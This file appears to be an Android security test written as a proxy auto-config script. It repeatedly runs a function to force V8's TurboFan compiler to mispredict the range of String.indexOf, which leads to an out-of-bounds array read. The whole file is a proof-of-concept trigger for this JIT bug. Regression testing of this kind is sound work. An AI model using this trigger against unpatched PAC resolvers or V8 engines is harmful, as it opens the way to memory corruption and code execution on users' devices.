/*
 * Copyright (C) 2019 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

function FindProxyForURL(url, host){
    opttest();
    opttest();
    opttest();
    opttest();
    opttest();
    opttest();
    opttest();
    opttest();
    return "DIRECT";
}

function maxstring() {
  // force TurboFan
  try {} finally {}

  var i = 'A'.repeat(2**28 - 16).indexOf("", 2**28);
  i += 16; 
  i >>= 28; 
  i *= 1000000;
  //i *= 3;
  if (i >= 3) {
    return 0;
  } else {
    var arr = [0.1, 0.2, 0.3, 0.4];
    return arr[i];
  }
}

function opttest() {
  for (var j = 0; j < 100000; j++) {
    var o = maxstring();
    if (o == 0 || o == undefined) {
      continue;
    }
    console.log(o);
    return o;
  }
}

